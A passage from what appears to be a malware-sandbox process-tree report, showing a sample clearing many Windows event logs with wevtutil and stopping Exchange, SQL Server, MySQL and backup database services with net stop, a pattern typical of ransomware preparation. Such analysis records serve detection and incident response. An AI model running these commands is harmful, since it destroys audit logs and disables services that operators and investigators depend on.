    wevtutil.exe cl "Microsoft-Windows-DeviceSync/Operational"
    3⤵
    PID:2276
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceUpdateAgent/Operational"
    3⤵
    PID:5828
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceUx/Informational"
    3⤵
    PID:308
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DeviceUx/Performance"
    3⤵
    PID:8164
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Devices-Background/Operational"
    3⤵
    PID:8304
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Admin"
    3⤵
    PID:8312
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Operational"
    3⤵
    PID:5368
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Admin"
    3⤵
    PID:5016
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Operational"
    3⤵
    PID:8460
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiagCpl/Debug"
    3⤵
    PID:8412
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-AdvancedTaskManager/Analytic"
    3⤵
    PID:8352
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Analytic"
    3⤵
    PID:6308
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Debug"
    3⤵
    PID:8572
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Operational"
    3⤵
    PID:3484
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-MSDE/Debug"
    3⤵
    PID:6784
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Analytic"
    3⤵
    PID:1588
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Debug"
    3⤵
    PID:6176
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Operational"
    3⤵
    PID:5436
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Debug"
    3⤵
    PID:7208
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Operational"
    3⤵
    PID:7132
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Perfhost/Analytic"
    3⤵
    PID:6368
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scheduled/Operational"
    3⤵
    PID:6840
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Admin"
    3⤵
    PID:9584
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Analytic"
    3⤵
    PID:6004
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Debug"
    3⤵
    PID:3256
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Operational"
    3⤵
    PID:9668
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Debug"
    3⤵
    PID:9660
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational"
    3⤵
    - Clears Windows event logs
    PID:9612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDC/Analytic"
    3⤵
    PID:9596
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnosis-WDI/Debug"
    3⤵
    PID:9716
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Debug"
    3⤵
    PID:9692
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Operational"
    3⤵
    PID:5772
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack-Counters/Diagnostic"
    3⤵
    PID:9056
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-PerfTrack/Diagnostic"
    3⤵
    PID:5976
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic"
    3⤵
    PID:6636
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Diagnostic/Loopback"
    3⤵
    PID:9764
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Operational"
    3⤵
    PID:6824
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D10/Analytic"
    3⤵
    PID:2812
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D10_1/Analytic"
    3⤵
    PID:2076
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/Analytic"
    3⤵
    PID:5576
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/Logging"
    3⤵
    PID:5472
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D11/PerfTiming"
    3⤵
    PID:5640
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D12/Analytic"
    3⤵
    PID:7060
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D12/Logging"
    3⤵
    PID:6268
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D12/PerfTiming"
    3⤵
    PID:9856
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3D9/Analytic"
    3⤵
    PID:5292
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Direct3DShaderCache/Default"
    3⤵
    PID:9748
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectComposition/Diagnostic"
    3⤵
    PID:9696
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectManipulation/Diagnostic"
    3⤵
    PID:5612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectShow-KernelSupport/Performance"
    3⤵
    - Clears Windows event logs
    PID:6488
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DirectSound/Debug"
    3⤵
    PID:9012
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Disk/Operational"
    3⤵
    PID:8980
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnostic/Operational"
    3⤵
    PID:3596
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticDataCollector/Operational"
    3⤵
    PID:2336
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticResolver/Operational"
    3⤵
    PID:6056
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Api/Analytic"
    3⤵
    PID:2440
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Api/ExternalAnalytic"
    3⤵
    PID:1824
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Api/InternalAnalytic"
    3⤵
    PID:4104
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dism-Cli/Analytic"
    3⤵
    PID:5872
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Debug"
    3⤵
    - Clears Windows event logs
    PID:3988
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplayColorCalibration/Operational"
    3⤵
    PID:916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DisplaySwitch/Diagnostic"
    3⤵
    PID:8632
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Documents/Performance"
    3⤵
    PID:5728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dot3MM/Diagnostic"
    3⤵
    PID:1724
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational"
    3⤵
    PID:8664
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DucUpdateAgent/Operational"
    3⤵
    PID:8656
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-API/Diagnostic"
    3⤵
    PID:4480
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Core/Diagnostic"
    3⤵
    PID:4564
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Dwm/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:3860
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Redir/Diagnostic"
    3⤵
    PID:4672
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Dwm-Udwm/Diagnostic"
    3⤵
    PID:7040
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl-Admin"
    3⤵
    PID:3628
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl-Operational"
    3⤵
    PID:8728
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Contention"
    3⤵
    PID:7940
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Diagnostic"
    3⤵
    PID:5528
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Performance"
    3⤵
    PID:5800
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxgKrnl/Power"
    3⤵
    - Clears Windows event logs
    PID:4828
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-DxpTaskSyncProvider/Analytic"
    3⤵
    PID:2232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EDP-Application-Learning/Admin"
    3⤵
    PID:6068
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EDP-Audit-Regular/Admin"
    3⤵
    PID:2304
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EDP-Audit-TCB/Admin"
    3⤵
    PID:1900
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EFS/Debug"
    3⤵
    PID:7948
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ESE/IODiagnose"
    3⤵
    PID:7944
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-ESE/Operational"
    3⤵
    PID:4444
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Analytic"
    3⤵
    PID:6080
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Debug"
    3⤵
    PID:7092
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapHost/Operational"
    3⤵
    PID:9848
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-RasChap/Operational"
    3⤵
    PID:6208
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-RasTls/Operational"
    3⤵
    PID:8744
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-Sim/Operational"
    3⤵
    PID:7144
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EapMethods-Ttls/Operational"
    3⤵
    PID:9864
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EaseOfAccess/Diagnostic"
    3⤵
    - Clears Windows event logs
    PID:6600
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Energy-Estimation-Engine/EventLog"
    3⤵
    PID:9028
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Energy-Estimation-Engine/Trace"
    3⤵
    PID:3252
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EnhancedStorage-EhStorTcgDrv/Analytic"
    3⤵
    PID:8940
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventCollector/Debug"
    3⤵
    PID:9868
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventCollector/Operational"
    3⤵
    PID:5088
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog-WMIProvider/Debug"
    3⤵
    PID:164
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog/Analytic"
    3⤵
    PID:8480
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-EventLog/Debug"
    3⤵
    - Clears Windows event logs
    PID:6916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Analytic"
    3⤵
    PID:7216
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Debug"
    3⤵
    PID:5960
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FMS/Operational"
    3⤵
    PID:3052
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FailoverClustering-Client/Diagnostic"
    3⤵
    PID:5560
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-Fault-Tolerant-Heap/Operational"
    3⤵
    PID:7612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FeatureConfiguration/Analytic"
    3⤵
    PID:8492
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FeatureConfiguration/Operational"
    3⤵
    PID:4816
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Catalog/Analytic"
    3⤵
    PID:3024
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Catalog/Debug"
    3⤵
    PID:3896
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-ConfigManager/Analytic"
    3⤵
    PID:6284
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-ConfigManager/Debug"
    3⤵
    PID:5596
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Core/Analytic"
    3⤵
    PID:10200
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Core/Debug"
    3⤵
    PID:10180
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Core/WHC"
    3⤵
    PID:10204
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Engine/Analytic"
    3⤵
    PID:1612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Engine/BackupLog"
    3⤵
    PID:7512
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Engine/Debug"
    3⤵
    PID:7504
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-EventListener/Analytic"
    3⤵
    PID:6252
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-EventListener/Debug"
    3⤵
    PID:9916
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl "Microsoft-Windows-FileHistory-Service/Analytic"
    3⤵
    PID:1152
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSExchangeIS"
  2⤵
  PID:7152
- - C:\Windows\system32\net.exe
    net stop "MSExchangeIS"
    3⤵
    PID:7124
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeIS"
      4⤵
      PID:6860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSExchangeMGMT"
  2⤵
  PID:3716
- - C:\Windows\system32\net.exe
    net stop "MSExchangeMGMT"
    3⤵
    PID:5280
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeMGMT"
      4⤵
      PID:8828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSExchangeMTA"
  2⤵
  PID:3928
- - C:\Windows\system32\net.exe
    net stop "MSExchangeMTA"
    3⤵
    PID:8964
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeMTA"
      4⤵
      PID:6180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSExchangeSA"
  2⤵
  PID:7228
- - C:\Windows\system32\net.exe
    net stop "MSExchangeSA"
    3⤵
    PID:6916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeSA"
      4⤵
      PID:4556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSExchangeSRS"
  2⤵
  PID:8416
- - C:\Windows\system32\net.exe
    net stop "MSExchangeSRS"
    3⤵
    PID:5248
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSExchangeSRS"
      4⤵
      PID:7612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSOLAP$SQL_2008"
  2⤵
  PID:7616
- - C:\Windows\system32\net.exe
    net stop "MSOLAP$SQL_2008"
    3⤵
    PID:5344
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$SQL_2008"
      4⤵
      PID:5656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSOLAP$SYSTEM_BGC"
  2⤵
  PID:10168
- - C:\Windows\system32\net.exe
    net stop "MSOLAP$SYSTEM_BGC"
    3⤵
    PID:10232
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$SYSTEM_BGC"
      4⤵
      PID:7032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSOLAP$TPS"
  2⤵
  PID:9908
- - C:\Windows\system32\net.exe
    net stop "MSOLAP$TPS"
    3⤵
    PID:9912
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$TPS"
      4⤵
      PID:6060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSOLAP$TPSAMA"
  2⤵
  PID:2496
- - C:\Windows\system32\net.exe
    net stop "MSOLAP$TPSAMA"
    3⤵
    PID:8776
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSOLAP$TPSAMA"
      4⤵
      PID:8800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$BKUPEXEC"
  2⤵
  PID:8836
- - C:\Windows\system32\net.exe
    net stop "MSSQL$BKUPEXEC"
    3⤵
    PID:4464
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$BKUPEXEC"
      4⤵
      PID:8932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$ECWDB2"
  2⤵
  PID:9036
- - C:\Windows\system32\net.exe
    net stop "MSSQL$ECWDB2"
    3⤵
    PID:7732
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$ECWDB2"
      4⤵
      PID:1420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$PRACTICEMGT"
  2⤵
  PID:5840
- - C:\Windows\system32\net.exe
    net stop "MSSQL$PRACTICEMGT"
    3⤵
    PID:4440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PRACTICEMGT"
      4⤵
      PID:6944
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$PRACTTICEBGC"
  2⤵
  PID:6316
- - C:\Windows\system32\net.exe
    net stop "MSSQL$PRACTTICEBGC"
    3⤵
    PID:9088
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PRACTTICEBGC"
      4⤵
      PID:8292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$PROFXENGAGEMENT"
  2⤵
  PID:8576
- - C:\Windows\system32\net.exe
    net stop "MSSQL$PROFXENGAGEMENT"
    3⤵
    PID:3012
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$PROFXENGAGEMENT"
      4⤵
      PID:5340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$SBSMONITORING"
  2⤵
  PID:6104
- - C:\Windows\system32\net.exe
    net stop "MSSQL$SBSMONITORING"
    3⤵
    PID:6076
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SBSMONITORING"
      4⤵
      PID:10136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$SHAREPOINT"
  2⤵
  PID:7236
- - C:\Windows\system32\net.exe
    net stop "MSSQL$SHAREPOINT"
    3⤵
    PID:10196
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SHAREPOINT"
      4⤵
      PID:10228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$SQL_2008"
  2⤵
  PID:6128
- - C:\Windows\system32\net.exe
    net stop "MSSQL$SQL_2008"
    3⤵
    PID:2352
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SQL_2008"
      4⤵
      PID:5904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$SYSTEM_BGC"
  2⤵
  PID:8688
- - C:\Windows\system32\net.exe
    net stop "MSSQL$SYSTEM_BGC"
    3⤵
    PID:8712
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$SYSTEM_BGC"
      4⤵
      PID:728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$TPS"
  2⤵
  PID:9976
- - C:\Windows\system32\net.exe
    net stop "MSSQL$TPS"
    3⤵
    PID:5228
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$TPS"
      4⤵
      PID:836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$TPSAMA"
  2⤵
  PID:4788
- - C:\Windows\system32\net.exe
    net stop "MSSQL$TPSAMA"
    3⤵
    PID:5992
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$TPSAMA"
      4⤵
      PID:400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$VEEAMSQL2008R2"
  2⤵
  PID:10060
- - C:\Windows\system32\net.exe
    net stop "MSSQL$VEEAMSQL2008R2"
    3⤵
    PID:7664
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2"
      4⤵
      PID:7680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQL$VEEAMSQL2012"
  2⤵
  PID:1076
- - C:\Windows\system32\net.exe
    net stop "MSSQL$VEEAMSQL2012"
    3⤵
    PID:1468
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012"
      4⤵
      PID:7620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher"
  2⤵
  PID:7792
- - C:\Windows\system32\net.exe
    net stop "MSSQLFDLauncher"
    3⤵
    PID:7864
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher"
      4⤵
      PID:7916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$PROFXENGAGEMENT"
  2⤵
  PID:8032
- - C:\Windows\system32\net.exe
    net stop "MSSQLFDLauncher$PROFXENGAGEMENT"
    3⤵
    PID:8076
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$PROFXENGAGEMENT"
      4⤵
      PID:8212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$SBSMONITORING"
  2⤵
  PID:10116
- - C:\Windows\system32\net.exe
    net stop "MSSQLFDLauncher$SBSMONITORING"
    3⤵
    PID:6892
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SBSMONITORING"
      4⤵
      PID:6396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$SHAREPOINT"
  2⤵
  PID:776
- - C:\Windows\system32\net.exe
    net stop "MSSQLFDLauncher$SHAREPOINT"
    3⤵
    PID:6512
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SHAREPOINT"
      4⤵
      PID:7320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$SQL_2008"
  2⤵
  PID:2524
- - C:\Windows\system32\net.exe
    net stop "MSSQLFDLauncher$SQL_2008"
    3⤵
    PID:5068
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SQL_2008"
      4⤵
      PID:6872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$SYSTEM_BGC"
  2⤵
  PID:6476
- - C:\Windows\system32\net.exe
    net stop "MSSQLFDLauncher$SYSTEM_BGC"
    3⤵
    PID:4780
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$SYSTEM_BGC"
      4⤵
      PID:5192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$TPS"
  2⤵
  PID:5392
- - C:\Windows\system32\net.exe
    net stop "MSSQLFDLauncher$TPS"
    3⤵
    PID:6328
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPS"
      4⤵
      PID:6084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLFDLauncher$TPSAMA"
  2⤵
  PID:8740
- - C:\Windows\system32\net.exe
    net stop "MSSQLFDLauncher$TPSAMA"
    3⤵
    PID:8860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLFDLauncher$TPSAMA"
      4⤵
      PID:8876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLSERVER"
  2⤵
  PID:9116
- - C:\Windows\system32\net.exe
    net stop "MSSQLSERVER"
    3⤵
    PID:9144
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLSERVER"
      4⤵
      PID:9164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLServerADHelper100"
  2⤵
  PID:4488
- - C:\Windows\system32\net.exe
    net stop "MSSQLServerADHelper100"
    3⤵
    PID:8156
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerADHelper100"
      4⤵
      PID:5676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MSSQLServerOLAPService"
  2⤵
  PID:6340
- - C:\Windows\system32\net.exe
    net stop "MSSQLServerOLAPService"
    3⤵
    PID:300
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MSSQLServerOLAPService"
      4⤵
      PID:6576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MySQL80"
  2⤵
  PID:6420
- - C:\Windows\system32\net.exe
    net stop "MySQL80"
    3⤵
    PID:5168
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop "MySQL80"
      4⤵
      PID:7164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop "MySQL57"
